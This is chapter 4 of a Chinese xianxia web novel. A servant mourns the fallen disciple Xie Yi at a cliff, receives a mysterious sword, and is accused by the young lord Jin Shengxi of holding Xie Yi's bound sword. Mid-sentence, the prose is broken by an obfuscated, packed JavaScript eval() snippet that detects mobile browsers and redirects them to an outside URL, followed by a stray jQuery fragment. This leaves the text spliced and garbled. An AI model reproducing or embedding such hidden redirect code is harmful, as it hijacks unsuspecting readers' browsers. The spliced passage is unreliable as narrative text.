4. 无尽海崖恰逢雨

作品:《宿敌的妻子不能是我的吗

    夜幕降临,李好只带出了那件斗篷。那管事老头儿还在呼呼大睡,甚至噎出了鼾声,司理堂仍然杂乱不堪。


    可李好知道,或许明天,那间房间里的东西就会被送进大火,和它们的主人一样,永远消失在这个世界上。


    他那样的人……


    像他那样的人……


    为何会落得如此下场?


    李好心中仍旧困惑,但无人在意。起初,她也不愿在意。本就早已不相干了。


    她披着那件斗篷,莫名在无尽海崖边枯坐了一夜,怀着一点起伏的心绪。


    是愧疚吗?还是不甘?那些扶光城里的往事终于像他一样被埋葬了。


    李扶光,也终于死了。


    无尽海没有海,是一座无底的深渊,崖风刮的很厚重,夹杂着雪花,轰轰而来,轰轰而去。李好觉得有些冷,很冷。脸似乎冻僵了,怎么会有水渍,是雪融化了吗?


    她本不该来此,毫无意义。直到天将破晓,云层熹微。


    “你是濯玉什么人?”


    身旁不知何时坐了一位青年男子,嗓音温和,像冬日里的暖阳。


    李好恍惚间觉得,谢夷似乎,好像也是这样的声音罢?


    时间太久了,她都已经忘的差不多了。转过身仔细一瞧,身型瘦长,着宽袍大袖,黑底白纹,头戴莲冠,容貌寻常,看起来是个普通的外门弟子。


    只是眉心一点朱砂,眼神幽深,似空非空,为他增添了几分悲悯。


    他在可怜她吗?他来这里,也是来悼念谁吗?


    这样一想李好似乎有了些欣慰,还是有人记得他的。想到此处,李好回男子一个真挚的微笑,收回目光,继续看向了远处聚散的云雾。


    至于她和谢夷有什么关系……


    良久,李好蓦然出声。


    “他救过我。”


    “是啊,那孩子救过很多人。”


    青年人似乎有些高兴,拊掌轻笑,发带被风吹起,显出几分仙风道骨来,到像个仙人了。


    “你呢?你也被他救过吗?”李好问。


    那青年面色微敛,蹙眉,一声长叹。


    “谁没被他救过呢?”


    李好没再开口,谢夷是杀千万人,还是救千万人,于她,于此刻,都已无分别。


    人死如灯灭,何计身后名。


    看着日头从天山一线中露出白来,李好挪了挪坐僵的身体,起身告辞。


    “崖风寒凉,道长保重,弟子尚有课业,就先告辞了。”


    青年也肃肃起身,颔首回礼:


    “今夜与小友一见,甚是欣慰,偶得一把残剑,便赠与小友,以表崖上相伴之谊。”


    语罢,一柄二指宽的细剑从崖下跃出,铮地一声,直直插入岩缝,距李好脚尖不过寸许,剑身犹自嗡鸣。


    李好惊慌后退,来不及推辞。


    再抬头时,青年已杳无踪影,只余一轮刺眼的红日,跃上天际。


    ——


    李好抱着剑往无字山赶,日头渐渐上来了,她还要去扫玉阶台,可不能误了时间。


    十里玉阶台,名虽如此,可并非真有十里。她每日清早要扫个来回,曾细细数过。


    乃三千三百三十二阶,有二百四十二阶青石玉碎了些,还有一阶完整无裂痕,偏偏中间有两个小坑。


    三年下来,论对这条路的熟悉,李好敢称第一。


    李好看到了自己藏在树干里的扫帚,枯枝空立,雪衣覆盖,倒和树融为一体了。


    怀中细剑用内衬撕下来的裙摆缠着,露出雕有缠藤纹的剑柄,入手冰凉,摸起来不便宜。


    她已细细查看了一番,也没发觉此剑哪里有残缺,只是缺把剑鞘,有些不方便。


    大概就是那好心道长说词,予他而言,这样一柄剑可能并不算什么,也就随便给了一杂役。


    予李好而言,可真真就是天上掉下来的馅饼了。


    一趟故人垂吊,竟让她平白得了一柄剑。


    感谢好心道长的馈赠。


    李好抚摸着剑,爱不释手,想要此刻立马找个平坦的地方耍两招。


    也罢也罢,等扫完玉阶台也不急。


    李好将斗篷脱下,叠好藏在树下灌木中,用雪掩了掩,又拆下发带,将剑绑在背后,拽下自己的扫帚伙伴,白雪簌簌落了满身。


    十里玉阶台,一步一景,此时云雾半遮,雪阶层层爬入云中,隐隐看不真切。李好拿着扫把沿阶而扫。昨夜雪并不大,没有积多少,况且来往之人,大都御剑来回,辛辛苦苦爬这长阶的寥寥无几,她偶尔随便扫扫,偷个懒也没人会发现。


    一阶一阶登山上,扫至半途,李好气喘吁吁,握着扫把的手指有些僵麻,她直身暂歇,长呼出一口白气。


    昨夜没睡,她现在有些迟钝,只觉扫起来分外吃力,这才过半,她就累得生汗。


    浑身外冷内热,后背濡湿,寒气直达天灵盖。


    有些不对劲。


    莫不是吹了一晚崖风,受凉了罢?


    这可使不得。


    李好急匆匆伸手摸了摸额头,手心麻麻的,试不出什么,手背一贴,滚烫。


    坏了。


    就说不该多管闲事,李好悔得很。杂役生病,误工误事是一说。花灵石看病,才是要了她的小命。


    前面还有一千多阶台阶,李好看那遥遥无期的尽头,手中扫帚都重了些。


    扫吧扫吧,今天不用去司理堂,扫完就回寝房休息。


    扫帚挥舞的飞快,李好大开大合,左右横扫,细密的枝桠划在青石上沙沙作响,飞雪四溅。


    “喂,前面那个扫地的,眼瞎啊。”


    一团雪球径直砸在李好后脑勺。她一个前扑,碎雪全都顺着脖颈掉进了衣服里,只觉得后背一片刺骨,惊的李好一动不敢动。


    迅速反应过来,李好转身行礼。


    “道长恕罪,道长恕罪。”


    身后,一个漂亮小郎君,下唇一点红痣,头簪金莲,身披斗篷,白色狐毛拥簇着,绣满了精致无比的宝相莲花纹,满身金光璀璨。


    此时抱胸瞪眼,仰头看着李好。


    “好哇,原来是你,给小爷我下来。”


    李好暗道不好,是西州金氏的人。


    垂天道府掌五州,家族众多,其中以王、谢、金、宋四家为首,各掌一州。西州金氏,以宝相莲花纹为家族纹徽,善言善商,家族商行金莲阁,可交易万物,遍布浮生界。


    可谓富贵至极,贵不可言。


    至于李好是怎么了解的,说来话长。


    十二主山中有十山,各山修道路途不同,太虚山修剑,太清山修法,相思山修医,还有符、器、阵、丹、兽、植、乐,整整十道圆满。至于还有两山,一是李好日常扫的无字山,掌律令刑法。还有就是十二主山之首,九重山了,其掌祭祀,司教学,山上设九重学宫教授基础功法和各种道途入门,以供弟子选择。


    李好偷学剑法,便是借口在九重学宫擦灰抹墙,浑水摸鱼。


    不过蹭了小半月的课,遇上这厮,金氏小公子,金满,字胜昔。一次欺负同学,日常辱骂杂役,两次顶撞夫子,三次翘课不来,来了也靠在椅子上,抱胸冷哼,一副天上地下唯我独尊的模样。


    全身上下,实在就一张脸能瞧,脾气不行,智商不详,像一个炮仗,被人一点就炸。将仗势欺人刻在了脑门儿上。


    偏偏是金氏家主的老


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742273|189693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来子,宠得不行,浑身挂满了法宝,堪称行走的百宝箱。


    幸亏是在道府地界,要是在外面,这不是亮堂堂的活靶子?


    李好遇见他,就是在欺负人,以后次次见他,次次在欺负人。


    这次好啊,终于欺负到她头上了。


    “金公子,是小的我眼拙——诶哟!”


    李好攥紧扫把,一边道一边几步急忙下台,怎么能让这位小爷抬头看她,他可是一不顺心就会用法宝砸人的,罪过罪过。


    不料一个趔趄,李好直溜溜跌了下去,差点扑金胜昔一怀,小公子拥着斗篷挪开,看见李好的扫帚沾到了他的衣摆,皱了皱眉,一脚踢了过去。


    金胜昔道:“滚开,脏死了。”


    金胜昔近日事事皆不顺心,自从大师兄身死道消。谢氏隔夜就发了自省书,将大师兄除名还不够,又罚所有谢氏弟子自省三月,他的玩伴谢复行也被召回了南州主家,关在了舟不渡。


    实在无聊,金胜昔便想偷溜进无字山执律堂,想翻翻卷宗什么的,看看大师兄究竟是怎么一回事儿。


    空口白牙说寒山君堕邪道,他不信。


    至于玉阶台公布的三十八条罪状,什么灭口什么欺辱。


    这不平白惹人笑话。


    真有人把大师兄当平账人了。


    只是还没行动,就被江逾白告诉给了母亲,害他受罚爬台阶。


    这个碍眼的杂役,扫雪时不长眼,将脏雪刨的到处都是!都落在了他脸上。


    不杀人,都算他心善。


    李好摔的头晕目眩,又被踢到了肩膀,诶哟了两声,半晌没爬起来。


    旁边伸出一只手,是金胜昔的仆从,江朔,字逾白。


    江逾白语气温和道:“没事吧。”


    李好扶着腰,撑着江朔的胳膊站起,道:“多谢江公子。”


    江氏是金氏的附庸,两族每代共生,金不离江,江不离金。不过,这也是个心黑的,明明金胜昔刚刚避开时,他伸手就能将李好拦下来,非要等到李好摔倒。


    李好松开手,在江朔的浅色衣袖上拓了一个灰手印。


    金胜昔抱胸旁立,看到那个脏手印,嗤笑出声,道:“江朔,叫你装模做样,活该。”


    活该,李好心头附和,可面上可不能表露出来,只好弯腰,正欲开口道歉。


    “哐当——”


    背着的剑掉了下来。


    金胜昔目光一凝,弯腰径直捡起,上下打量了一番。


    目光又缓缓落回李好身上,带着探究,道:“这是,恰逢雨连天?”


    李好闻言,怔愣在地,久久未动。


    恰逢雨连天,天阶中品,剑阁有名,入十大名剑谱,排名第四,乃垂天道府炼器圣地如是山山主,浮生界第一炼器师,渡劫期的如是道尊,亲手为道子所铸的贺礼。在府君收徒大典上,赠予谢夷。


    它的主人为它取名。


    剑名,恰逢雨连天。


    金胜昔皱眉,道:“这是大师兄的命剑,怎么会在你手里?”


    李好不知道,脑袋烧的更厉害了,浑身都疼。


    “金公子是不是认错了。”李好舔了舔嘴唇,“这剑是一个外门道长随手给我的,可能只是相像罢,怎么会是恰逢雨连天呢,况且命剑有灵,又怎会轻易让旁人碰触,不是说,大师兄的命剑早碎了,和人一起掉进了无尽海崖——”


    李好骤然止声。


    这剑,就是从无尽海崖飞上来的。


    “我金满的眼睛,能认出天下所有法宝。不管你是偷的还是捡的。”金胜昔冷哼一声。


    “哼,狡辩的话都留着给首席师兄说吧,江逾白,押上她,我们御剑,去执律堂。“